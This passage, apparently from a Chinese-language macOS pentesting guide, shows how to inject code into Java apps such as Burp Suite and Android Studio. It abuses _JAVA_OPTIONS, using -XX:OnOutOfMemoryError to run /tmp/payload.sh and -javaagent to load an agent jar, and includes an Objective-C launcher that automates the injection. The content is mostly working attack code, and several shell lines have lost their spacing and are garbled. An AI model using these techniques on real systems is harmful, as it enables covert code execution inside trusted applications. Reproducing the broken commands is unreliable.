# Search only in /Applications foldersudofind/Applications-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null# Full searchsudofind/-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null
# Write your payload in a script called /tmp/payload.shexport _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
要将其作为新进程而不是当前终端的子进程执行，可以使用：
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
然而，这会在执行的应用程序上触发错误，另一种更隐蔽的方法是创建一个 Java 代理并使用：
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
